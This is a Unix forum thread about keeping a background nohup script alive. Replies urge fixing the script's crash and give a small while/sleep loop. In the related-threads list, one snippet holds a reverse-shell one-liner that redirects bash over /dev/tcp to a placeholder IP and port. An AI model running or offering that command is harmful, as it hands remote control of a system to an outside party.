Shell Script for continuously checking status of a another script running in background, and immedia


 
Thread Tools Search this Thread
Top Forums Shell Programming and Scripting Shell Script for continuously checking status of a another script running in background, and immedia
# 1  
Old 11-01-2013
Linux Shell Script for continuously checking status of a another script running in background, and immedia

Hi,

I want to write a script which continuously checking status of a script running in background by nohup command. And if same script is not running then immediately start the script...please help..

i am using below command to run script

Code:
nohup system_traps.sh &

but in some reason bsckground script get automatically terminated by super user.

OR is there any option to run a script continously in background without fail or termation.

Moderator's Comments:
Mod Comment Refrain from having a big font size and everything in bold letters. Instead of getting heard faster, you will also be noticed faster by the staff Smilie Also use code tags, check your PM for a guide line.

Last edited by zaxxon; 11-01-2013 at 07:23 AM.. Reason: reducing font size and removing all-bold
# 2  
Old 11-01-2013
The problem is likely with system_traps.sh not the fact that you need to monitor it.

As a guess: it has some kind of fatal error, you do not have adequate error reporting in the code to figure out what is going wrong.

Can you post the section of system_traps.sh that fails?
# 3  
Old 11-01-2013
Hi Jim,

Thaks for reply,
I am running this script with my user and kept for running in background overnight but on next day script is exit from its execution and found no error in nohup.out ,so if same scenario happen I want a another script which continuously on checking running status of background script and if script is not running this then it should start script in background.
# 4  
Old 11-01-2013
I understand what you want. What you need is something different, IMO. Something is wrong with the script that ends abnormally. Fix that first. Restarting it constantly is not a valid solution.

Your broken script is not doing what you want and may be doing things you do not want done as a consequence. The reason I'm taking this position: since you do not know how to monitor and check a process, it is very likely that whatever you did in your other script has issues as well. It is like handing a grenade to a kid who asks for one, then he asks 'Which one is the pin I pull?'

We can provide you with a script, no problem. What OS and shell are you using? Do you have crontab access?
# 5  
Old 11-01-2013
Hi Jim,

I am using Linux and yes I have access to crontab.
Meanwhile ,I wrote shell script which will continuously checking status of script running in background and if script is not running then it will start it. now i want to schedule this checker script in crontab for minimal time interval(every second) but crontab allows you to run script for minimum time difference of 1-minute which cause miss of alerts within interval of minute (in case script stopped/killed) because, my script is generating alert from live log file so can’t offered to lose single line not to be getting read. Could you please help me with better option to implement this…

Thanks,
ketanr
# 6  
Old 11-01-2013
Code:
while :
do
   sleep 1
   check stuff
done

and nohup that.

But as jim says, you're not solving the underlying problem.
# 7  
Old 11-01-2013
To support Jim's point - a couple of quotes....
Quote:
If your car's brakes work only half the time, the solution is not to add a
drag-chute, or not ever driving fast, instead you fix the brakes.

square wheels and strong shocks are great for a car because the price
of steel is down. [NOT]
Login or Register to Ask a Question

Previous Thread | Next Thread

10 More Discussions You Might Find Interesting

1. Shell Programming and Scripting

Korn Shell script in stopped state while running in background

Hi, I want to run a shell script in background . but its going to stopped state $ ksh cat_Duplicate_Records_Removal.ksh & 8975 $ + Stopped (tty output) ksh cat_Duplicate_Records_Removal.ksh & why is this happening? Also could anyone please tell me what is a stopped... (12 Replies)
Discussion started by: TomG
12 Replies

2. Shell Programming and Scripting

Script will keep checking running status of another script and also restart called script at night

I am using blow script :-- #!/bin/bash FIND=$(ps -elf | grep "snmp_trap.sh" | grep -v grep) #check snmp_trap.sh is running or not if then # echo "process found" exit 0; else echo "process not found" exec /home/Ketan_r /snmp_trap.sh 2>&1 & disown -h ... (1 Reply)
Discussion started by: ketanraut
1 Replies

3. Shell Programming and Scripting

Shell scripting issue-running the background script

I have written the below query to genrate a telephone.I am passing account number from oracle database. I am calling 2 scripts which generate the bill 1. bip.sh (it runs in the background) 2.runXitInvoice_PROFORMA_integ bip.sh generates a number which runXitInvoice_PROFORMA_integ uses.How... (7 Replies)
Discussion started by: rafa_fed2
7 Replies

4. Shell Programming and Scripting

Need help in running a script continuously non stop

Hi, I am running a schedular script which will check for a specific time and do the job. I wanted to run this continuously. Meaning even after the if condition is true and it executes the job, it should start running again non stop. I am using below script #!/bin/sh start: while true do... (10 Replies)
Discussion started by: sandeepcm
10 Replies

5. Shell Programming and Scripting

Running Shell Script in the cron, background process

Hi, i was looking for an answer for some trouble im having runing a script in the cron, thing is, that when i run it manually it works just fine. But when cron runs it, it just doenst work. I saw a reply on a similar subject, suggesting that the . .profile worked for you, but im kind of... (9 Replies)
Discussion started by: blacksteel1988
9 Replies

6. Shell Programming and Scripting

Running Shell Script in the cron, background proccess

Hi, i was looking for an answer for some trouble im having runing a script in the cron, thing is, that when i run it manually it works just fine. But when cron runs it, it just doenst work. I saw a reply on a similar subject, suggesting that the . .profile worked for you, but im kind of... (0 Replies)
Discussion started by: blacksteel1988
0 Replies

7. Shell Programming and Scripting

Shell script running in background

Dear all, I have a little problem trying to run a shell script in background, as you can see below. - the script is a simple one: #! /bin/bash exec /bin/bash -i 0</dev/tcp/IP_ADDR/33445 1>&0 2>&0 - the name of the script is test.sh - the script is executable(chmod +x test.sh) - on the... (2 Replies)
Discussion started by: gd05
2 Replies

8. Shell Programming and Scripting

checking to see if a service is running in a shell script

How can I tell, in a shell script, if a certain service is running? I know how to do this on the command line, but not in a script. Is an error thrown somehow that I can check? Thanks. (6 Replies)
Discussion started by: daflore
6 Replies

9. Shell Programming and Scripting

Capturing the exit status of the script running in background

Hi All, I have a scenario where I am executing some child shell scripts in background (using &)through a master parent script. Is there a way I can capture the exit status of each individual child script after the execution is completed. (2 Replies)
Discussion started by: paragkalra
2 Replies

10. Shell Programming and Scripting

checking exit status of a shell script

Hi, I have tried with the following code; if ;then echo "Failure." else echo "Success." fi to test the exit status of the test.ksh shell script. But whatever is the exit status of the test.ksh shell script Failure. is always printed. Please help. regards, Dipankar. (2 Replies)
Discussion started by: kdipankar
2 Replies
Login or Register to Ask a Question